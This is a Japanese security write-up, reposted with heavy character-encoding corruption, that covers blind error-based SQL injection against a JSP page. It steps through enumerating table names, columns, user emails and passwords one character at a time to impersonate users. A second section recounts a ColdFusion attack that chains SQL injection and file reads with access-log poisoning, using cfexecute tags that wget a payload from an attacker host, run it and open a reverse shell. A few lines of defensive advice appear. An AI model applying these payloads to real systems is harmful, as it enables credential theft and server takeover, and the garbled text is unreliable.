JSP SQL injectionの小技

信息来源:ESG JP

SQL injectionがあるのは判断できるけどエラ�`がハンドリングされてて
エラ�`メッセ�`ジとかから情�螭�ひっぱれず、どうやってもUNIONで
�eのSELECTが�げられないとか、�げられてもSELECTの直接の�Y果自体は
画面に表示されない�龊悉胜螭兢恕�

// 考え方
演算子「=」等の�g一行条件で�目の��を比�^する�Hに、一方が副��合せである�龊稀�
その副��合わせは2つ以上の行を返してはならない。

例えば、

WHERE ~ AAA = ユ�`ザ入力
であった�龊稀�

WHERE ~ AAA = (2つ以上の�Y果を返すサブSELECT)

を��くとエラ�`になる。
Oracleなら、ORA-01427(うろおぼえですが。わら)
ここで、

WHERE ~ AAA = (SELECT max(0) FROM TABLE1 UNION ALL SELECT 0 FROM TABLE2 WHERE 条件式)

の��なサブSELECTを��くと、条件式にヒットする�目があった�龊膝ē椹`となり
なければ正常�K了する。

// LIKE句は便利ですな
入力�目「q」にSQL injection���}があるwebアプリhoge.jspを想定する。

~ WHERE (~ AAA = 'qへの入力��' ~)
AAAは文字列型

各�N�目の��の�_定にはLIKE句のあいまい�仕�C能を利用する。
「%」でざっくり�{べたり「_」で文字数を�_定したり特定の位置の文字を�_定したり。

とりあえずユ�`ザ情�螭蚓绚い郡い韦恰�USER」とかにあたりをつけてから始める。

// テ�`ブル名�仕�
[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...SER%25[/url]'))--
--> エラ�` : xxxxUSERxxxx(xxxxは任意の文字列)と言うテ�`ブルが存在する

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...SER%25[/url]'))--
--> エラ�` : USERxxxx(xxxxは任意の文字列)と言うテ�`ブルが存在する

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...;USER_[/url]'))--
--> 正常 : USERx(xは任意の文字)と言うテ�`ブルは存在しない

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...USER__[/url]'))--
--> 正常 : USERxx(xは任意の文字)と言うテ�`ブルは存在しない

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...SER___[/url]'))--
--> 正常 : USERxxx(xは任意の文字)と言うテ�`ブルは存在しない

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ER____[/url]'))--
--> エラ�` : USERxxxx(xは任意の文字)と言うテ�`ブルが存在する : 文字数�_定

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ERA___[/url]'))--
--> 正常 : USERAxxx(xは任意の文字)と言うテ�`ブルは存在しない

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ERB___[/url]'))--
--> 正常 : USERBxxx(xは任意の文字)と言うテ�`ブルは存在しない

...

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ERI___[/url]'))--
--> エラ�` : USERIxxx(xは任意の文字)と言うテ�`ブルが存在する

...

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ERINFO[/url]'))--
--> エラ�` : USERINFOと言うテ�`ブルが存在する
当然↓も、
[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...ERINFO[/url]'))--
エラ�`になる

ここでは�g�にLIKE句で探していったけど、��象文字列を一文字ずつsubstr()かなんかで
切り出して、それぞれの��はバイナリサ�`チで�_定するのも多分有�郡坤人激Α�

次にテ�`ブル内のカラム名を�{べる。
上と同じく、NAMEとかIDとかPASSとかMAILとかにあたりをつけて

// カラム名�仕�
[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...AME%25[/url]'))--
--> エラ�` : テ�`ブル「USERINFO」にはxxxxNAMExxxx(xxxxは任意の文字列)と言うカラムが存在する

以下手�はまったく同じ。

最�K的に↓みたいなのが作成できる。
--------------------
USERINFO
EMAIL
PASSWORD
NAME
ADDR
TEL
SEX
...
--------------------

ここで、何らかの�J�^�C能がメ�`ルアドレスとパスワ�`ドで�J�^しているとすると、
メ�`ルアドレスとパスワ�`ドをひっぱれば成りすませるかも�`

と言うわけで、とりあえず�lかのメ�`ルアドレスを�_定する。

// メ�`ルアドレス�仕�
[url]http://www.somecompany.co.jp/hoge.jsp?q=&#....ne.jp[/url]'))--
--> エラ�` : [email protected](xxxxは任意の文字列)と言うメ�`ルアドレスを持つユ�`ザが存在する

以下同文。

成りすましたいユ�`ザが居てメ�`ルアドレスがわかってる�龊悉胜螭�はこのステップは�wばしてもOK。
(もちろんそのメ�`ルアドレスが登�hされているかの�_�Jは必要)

最後にパスワ�`ド。

// パスワ�`ド�仕�
[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...[/url]'_'))--
--> 正常 : パスワ�`ドは1文字じゃなかった

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...#39;__[/url]'))--
--> 正常 : パスワ�`ドは2文字じゃなかった

...

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...______[/url]'))--
--> エラ�` : パスワ�`ドは8文字

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...______[/url]'))--
--> 正常 : パスワ�`ドは8文字、Aでは始まらない

...

[url]http://www.somecompany.co.jp/hoge.jsp?q=&#...______[/url]'))--
--> エラ�` : パスワ�`ドは8文字、Pで始まる

以下同文。

なお、メ�`ルアドレスとパスワ�`ドの�仕黜�番は逆にして、
しょぼいパスワ�`ドを�O定してるユ�`ザのメ�`ルアドレスは・・・、
みたいに探していってもOK。
�eにル�`ルはありません。

リアル攻�恼撙畏饯�龊悉稀⑸嫌�のような手�を手�婴扦浃毪韦悉幛螭嗓�さいと思うんで
自�踊�したツ�`ルを作って回すのが�Y果的に�r�gの短�sになって嬉しいでしょう。わら

なお上�の例は上にも��いたように、

~ WHERE ~ AAA = 'ユ�`ザ入力' ~
AAAは文字列型

みたいなのを想定していましたが、

~ WHERE ~ BBB = ユ�`ザ入力 ~
BBBは数��型

みたいな�龊悉稀�いきなり()で�欷盲匹单�SELECT��いてもOK。

基本的に、この方式はチェック�C能が()内で完�Yしているので、
特に、ユ�`ザ入力が入る位置がゴリゴリにネストしたサブSELECTのWHERE句だったりして
元のSELECT文がどんな形かはっきり判らない�龊悉胜螭�に便利。
また、ユ�`ザ入力がテ�`ブル名やSELECTするカラム名として使われてる�龊悉胜螭�にも
使えなくも�oいんではないかと思います。やったこと�oいけど。わら
#これは使用しているDBがインラインビュ�`やスカラ�`副��い合わせをサポ�`トしてて、
#エラ�`にならなかった�龊悉朔丹��を考えなきゃダメですが

また、上のはDBがOracleの�龊悉蛳攵à筏皮い蓼工�テ�`ブルやカラム情�螭�SELECTで
ひっぱれるなら何でも同じです。
逆に、それらへのアクセス�丐��m切に�O定されているならこの手法は使えません。
なので、アプリにSQL injection�Mみ�zんじゃったときのフェイルセ�`フとして
�O定しておくのをお�幛幛筏蓼埂�
ただし、テ�`ブル名やカラム名が判っている�龊悉摔��々のカラムの��を�_定
(上の例で言うとメ�`ルアドレス�仕饕越担─工毪韦戏坤菠蓼护蟆�
そういう�龊悉丐违榨Дぅ毳哗`フとして、DBの中身を暗号化とか一方向ハッシュ化
するのもお�幛幛扦埂�
もちろん、これらはあくまでもフェイルセ�`フであって、
アプリ�趣扦违单衰骏ぅ氦�基本です�c(´�``)ノ
-----------------------------------------------------------------------------


// 上のとはあんまり�v�Sないけどちょっと面白かった�g例
-----------------------------------------------------------------------------
webアプリhoge.cfmではColdFusionのcfincludeタグの入力がDBからの出力の��でした。
また、入力�目idにはSQL injection���}が存在していました。
あれこれごちゃごちゃやった�Y果、

[url]http://www.somecompany.co.jp/hoge.cfm?id=hoge[/url]

と入れると、

SELECT 何か,ファイル名,何か,何か,何か FROM SOMETABLE WHERE ID='hoge'

みたいな感じのSQLが�Mみ立てられていると推�yできました。
なので例えば、

// /etc/passwdを�iむ
[url]http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--[/url]

みたいな事が可能でした。
ここで、cfincludeタグは�iみ�zんだファイルをColdFusionのアプリとしてパ�`ス/�g行するのに注目し、

まず、httpd.confを�iんで、

[url]http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--[/url]

httpd.confの内容を�_�Jし、
---------------------------------------------------------------
--- snip ---
LogFormat "%h %l %u %t \"%r\" %>s %b \"%i\" \"%i\"" combined
--- snip ---
<VirtualHost XXX.XXX.XXX.XXX>
ServerName somecompany.co.jp
ServerAdmin [email protected]
DocumentRoot /usr/local/apache/htdocs/hogehoge
ErrorLog logs/hogehoge_error_log
CustomLog logs/hogehoge_access_log combined
</VirtualHost>
--- snip ---
---------------------------------------------------------------

ColdFusionコマンド�g行タグを作成し、
([url]http://attacker.mydomain.co.jp:25/fuga1[/url]をダウンロ�`ドして�g行するもの。
webでColdFusionのマニュアル斜め�iみして作成)
---------------------------------------------------------------
<cfset myArray=ArrayNew(1)>
<cfset myArray[1]='-O'>
<cfset myArray[2]='/tmp/fuga1'>
<cfset myArray[3]='[url]http://attacker.mydomain.co.jp:25/fuga1[/url]'>
<cfexecute name='/usr/bin/wget' arguments=#myArray# outputFile='/tmp/fuga2' timeout='30'></cfexecute>
<cfexecute name='/bin/chmod' arguments='+x /tmp/fuga1' outputFile='/tmp/fuga3' timeout='1'></cfexecute>
<cfexecute name='/tmp/fuga1' outputFile='/tmp/fuga4'></cfexecute>
---------------------------------------------------------------

ログ残しのためにアクセスして、
---------------------------------------------------------------
GET / HTTP/1.0
Host: somecompany.co.jp
User-Agent: <cfset myArray=ArrayNew(1)><cfset myArray[1]='-O'><cfset myArray[2]='/tmp/fuga1'><cfset myArray[3]='[url]http://attacker.mydomain.co.jp:25/fuga1[/url]'><cfexecute name='/usr/bin/wget' arguments=#myArray# outputFile='/tmp/fuga2' timeout='30'></cfexecute><cfexecute name='/bin/chmod' arguments='+x /tmp/fuga1' outputFile='/tmp/fuga3' timeout='1'></cfexecute><cfexecute name='/tmp/fuga1' outputFile='/tmp/fuga4'></cfexecute>

---------------------------------------------------------------

そのアクセスログを�iみ�zませるとさっき��いたタグが�幼鳏筏蓼埂�
[url]http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--[/url]

�g行�Y果は以下で取得できます。
[url]http://www.somecompany.co.jp/hoge.cfm?id=&...rom+SOMETABLE--[/url]

�g�Hには、APPサ�`バとの�H子�v�Sを切ってから攻�脑�サ�`バの25に
リバ�`スコネクト形式で�いでシェルを�婴�すプログラムを作ってfuga1として
送り�zんだらインタラクティブなシェル�h境を�_保できました。
この例はたまたまColdFusionでしたが、状�rが同じならPHPとかJSPでも
同じような事が可能だと思います。

ログは��いてるモノだけど��き�zまれてるモノでもありますよ、と言うお�でした�c(´�``)ノ
-----------------------------------------------------------------------------

おわり�c(´�``)ノ

你可能感兴趣的:(sql,jsp,数据库,职场,休闲)